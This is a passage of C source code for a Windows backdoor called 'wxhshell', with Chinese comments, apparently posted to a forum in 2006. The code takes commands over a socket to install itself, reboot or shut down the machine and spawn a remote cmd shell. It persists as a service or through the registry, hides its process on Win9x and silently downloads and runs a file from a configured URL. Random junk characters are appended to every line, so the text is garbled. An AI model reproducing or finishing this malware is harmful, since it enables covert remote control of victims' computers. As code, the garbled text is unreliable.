  case 'i': { jtW!"TOY  
    if(Install()) S.-TOE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '!!CeDy  
    else ! |<Fo'U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kuszb~`zPY  
    break; L.*M&Ry  
    } gG(fQ 89U"  
  // 卸载 [\v}Ul  
  case 'r': { "Q@ronP(~  
    if(Uninstall()) -g*4(w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1mOh{:1u  
    else Y)*#)f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EyJJ0  
    break; 5B3G @KR  
    } \fz<.l]  
  // 显示 wxhshell 所在路径 A$Hfr8w1u  
  case 'p': { R{<kW9!  
    char svExeFile[MAX_PATH]; Q ayPo]O  
    strcpy(svExeFile,"\n\r"); jaII r06  
      strcat(svExeFile,ExeFile); OEA&~4&{7  
        send(wsh,svExeFile,strlen(svExeFile),0); 'vbsvT  
    break; }ppN k:B  
    } <Tzrj1"Q3  
  // 重启 D9^h; 8  
  case 'b': { n|Q@UPb/=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  *x@Onj  
    if(Boot(REBOOT)) .WA-&b_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CQF:Rnb  
    else { 7)`nD<j 5  
    closesocket(wsh); RO+GK`J  
    ExitThread(0); i&bA2p3+d  
    } S&Zm0Ku  
    break; vlmB`T  
    } H<i]V9r  
  // 关机 5F)C  jQ  
  case 'd': { jnO9j_CY  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6F!+T=  
    if(Boot(SHUTDOWN)) xpV|\2C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a*lh)l<KV  
    else { pjKWtY@=X  
    closesocket(wsh); `VA"vwz  
    ExitThread(0); =Y{(%sn  
    } iVhJ t#_b  
    break; >E;uU[v)I  
    } \A 2r]  
  // 获取shell K[YI4pt7  
  case 's': { @ym v< Mo  
    CmdShell(wsh); QwW&\h[8?  
    closesocket(wsh); y-'$(x  
    ExitThread(0); :~"CuB/  
    break; g:g\>@Umo  
  } FH?U(-  
  // 退出 \)#kquH/l  
  case 'x': { 1H? u Qy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I&#| w"/"U  
    CloseIt(wsh); I0D(F i  
    break;  eI$oLl@  
    } _mqL8ho  
  // 离开 )B"jF>9)[  
  case 'q': { ]sf7{lVT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :%t U'w  
    closesocket(wsh); ?pW`cFLDHF  
    WSACleanup(); GZN ^k+w  
    exit(1); eVjBGJ=2e  
    break; <=zQ NBtx  
        } =upeRY@u5  
  } gX@HO|.t  
  } >?2M }TV3  
h5*JkRm  
  // 提示信息 ysQ_[ ]/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !#], hok8X  
} eBZXI)pPh  
  } .F98G/s  
TV)h`\|Z*  
  return; M'7f O3&|  
} M8MR oA6F  
"h{q#~s  
// shell模块句柄 kj#?whK6~  
int CmdShell(SOCKET sock) v|XTr,#  
{ ]l_\71  
STARTUPINFO si; %". HaI]  
ZeroMemory(&si,sizeof(si)); [L3=x;U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hci6P>h<ia  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ? &o2st  
PROCESS_INFORMATION ProcessInfo; pA'4|ffwe  
char cmdline[]="cmd"; zqimR#u  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cvn@/qBq*t  
  return 0; "%`1 ]Fr  
} y`Wty@  
>:74%D0UF  
// 自身启动模式 [owWiN4`s  
int StartFromService(void) Ci@o|Y }tP  
{ MK%9:wZ  
typedef struct ?&8^&brwG  
{ {fPy=,>Nb  
  DWORD ExitStatus; f(>p=%=O  
  DWORD PebBaseAddress; b1(T4w6  
  DWORD AffinityMask; so,t   
  DWORD BasePriority; NO*u9YH?  
  ULONG UniqueProcessId; ((YMVe  
  ULONG InheritedFromUniqueProcessId; QyEn pZ8?a  
}   PROCESS_BASIC_INFORMATION; +SP{hHa^  
0M_ DB=  
PROCNTQSIP NtQueryInformationProcess; h9t$Uz^N  
R3 -n>V5o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [T8WThs  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; NH[kNi'  
;,hwZZA  
  HANDLE             hProcess; iw3FA4{(  
  PROCESS_BASIC_INFORMATION pbi; !EvAB+`jLI  
!y\'EW3|G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); , Rk9N  
  if(NULL == hInst ) return 0; ax"+0L {  
^=GC3%  J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0!4Ts3qn1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LK{*sHi$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sQYkQ81  
a!zz6/q[  
  if (!NtQueryInformationProcess) return 0; *z5.vtfu!  
.<->C?#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4X!/hI=jq  
  if(!hProcess) return 0; 7BE>RE=)  
ux=w!y;}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]N~2 .h  
)1]ZtU  
  CloseHandle(hProcess); GA$V0YQX  
`LrHKb aP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bBiE  
if(hProcess==NULL) return 0; JgxtlYjl  
prWk2_D;*  
HMODULE hMod; K?6jXJseb  
char procName[255]; eQ$Y0qH1E  
unsigned long cbNeeded; !44/sr'  
y`L>wq,KU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k9<;woOBO  
S 8kCp;  
  CloseHandle(hProcess); bHY=x}Hv  
}fp-pe69z  
if(strstr(procName,"services")) return 1; // 以服务启动 (o 5s"b  
EuEZ D +  
  return 0; // 注册表启动 =rMUov h  
} 9e<.lb^tP  
NpE*fR')  
// 主模块 IB(6+n,6s  
int StartWxhshell(LPSTR lpCmdLine) d?y4GkK  
{ G0CW}e@)  
  SOCKET wsl; +>8'mf  
BOOL val=TRUE; C/q'=:H;  
  int port=0; wy<\Tg^J  
  struct sockaddr_in door; b(,M1.[qt  
zN[hkmh  
  if(wscfg.ws_autoins) Install(); LGq'WU31:)  
DF&(8NoX~  
port=atoi(lpCmdLine); oK9( /v  
> $O]Eu!  
if(port<=0) port=wscfg.ws_port; Z-$[\le  
TYy?KG>:'  
  WSADATA data; eVEV}`X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4n#M  
.8 2P(}h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {dhXIs  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _:ReN_0  
  door.sin_family = AF_INET; -Fi`Z$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Wvq27YK'  
  door.sin_port = htons(port); ^-TE([bW  
l#g\X'bK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z]A{ d[  
closesocket(wsl); 0%32=k7O[  
return 1; /,BD#|  
} zUt' QH7E.  
EB0TTJR?#  
  if(listen(wsl,2) == INVALID_SOCKET) { mu\6z_e  
closesocket(wsl); ]V[q(-Jk  
return 1; o$wEEz*4  
} 7z%L*z8V  
  Wxhshell(wsl); C>ICu*PW  
  WSACleanup(); ~Z-Vs  
j:Xq1f6a  
return 0; yjO1 Ol  
.H escg/S  
} Rm2yPuOU}A  
[xK3F+  
// 以NT服务方式启动 R#s )r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E7WK (  
{ >Ifr [  
DWORD   status = 0; I:E`PZ  
  DWORD   specificError = 0xfffffff; MH =%-S   
B~?*?Z'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; kS%Ydy#:'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6{@w="VT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k6;?)~.  
  serviceStatus.dwWin32ExitCode     = 0; a H yx_B  
  serviceStatus.dwServiceSpecificExitCode = 0; 2VPdw@"~}  
  serviceStatus.dwCheckPoint       = 0; J9..P&c\  
  serviceStatus.dwWaitHint       = 0; ISzqEi  
$6#CqWhI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L,HhbTRca  
  if (hServiceStatusHandle==0) return; `A,-@`p  
#{6{TFx\  
status = GetLastError(); l?\jB\,  
  if (status!=NO_ERROR) pg6cF  
{ S~<$H y*kh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; aJSO4W)P  
    serviceStatus.dwCheckPoint       = 0; cA&9e<  
    serviceStatus.dwWaitHint       = 0; L s G\OG  
    serviceStatus.dwWin32ExitCode     = status; kAKK bmE  
    serviceStatus.dwServiceSpecificExitCode = specificError; kc2 PoJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lt2u,9  
    return; kT|dUw9G  
  } \9.bt:k@OT  
ru'F6?d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9-sw!tKx  
  serviceStatus.dwCheckPoint       = 0; gx-2v|pZ  
  serviceStatus.dwWaitHint       = 0; AL[KpY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Tg7an&#  
} FX;QG94!  
O 5!7'RZ  
// 处理NT服务事件,比如:启动、停止 _;W.q7 b]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {k(g]#pP  
{ hMa]B*o/-  
switch(fdwControl) ^Xz@`_I  
{ ?#Ge.D~u  
case SERVICE_CONTROL_STOP: x" 7H5<  
  serviceStatus.dwWin32ExitCode = 0; |a8iZ9/D6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B=U 3  
  serviceStatus.dwCheckPoint   = 0; y3vdUauOn  
  serviceStatus.dwWaitHint     = 0; dR K?~1  
  { bes<qy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4M^= nae  
  } oxr#7Ei0d  
  return; yyR0]NzYUD  
case SERVICE_CONTROL_PAUSE: pk>^?MO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; IWk4&yHUAu  
  break; QER?i;-wb  
case SERVICE_CONTROL_CONTINUE: H h4WMZJG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; at@G/?  
  break; GmK^}=frj  
case SERVICE_CONTROL_INTERROGATE: +|*IZ:w)  
  break; <:_wbVn-  
}; 1kz\IQ{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ] ;KJ6  
} i)\ L:qF5  
@<,X0S  
// 标准应用程序主函数 x-XD.qh7Hr  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z~GL5]S  
{ -7SAK1c$  
1eA7>$w}[  
// 获取操作系统版本 QemyCCP+  
OsIsNt=GetOsVer(); j*d yp  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :{{F *FM;  
97Lte5c6r  
  // 从命令行安装 rr/B= O7  
  if(strpbrk(lpCmdLine,"iI")) Install(); XWn VgY s  
5CuuG<0  
  // 下载执行文件 C^s^D:   
if(wscfg.ws_downexe) { {ba q+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yZAS#ko}}  
  WinExec(wscfg.ws_filenam,SW_HIDE); y+Ra4G#/}  
} Y y5h"r  
}~2LW" 1'  
if(!OsIsNt) { XWDL5K  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ltv]pH}YN  
HideProc(); \Bz_p'[G  
StartWxhshell(lpCmdLine); Y21g{$~Q{  
} AW%50V  
else [<7@{;r  
  if(StartFromService()) %W'v}p  
  // 以服务方式启动 ^9m\=5d  
  StartServiceCtrlDispatcher(DispatchTable); $': E\*ICb  
else ycc4W*]  
  // 普通方式启动 }q`ts=dlGt  
  StartWxhshell(lpCmdLine); +00b)TF  
UMv.{iEj  
return 0; dA#Q}.*r  
}
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只看该作者 1 发表于: 2006-10-10
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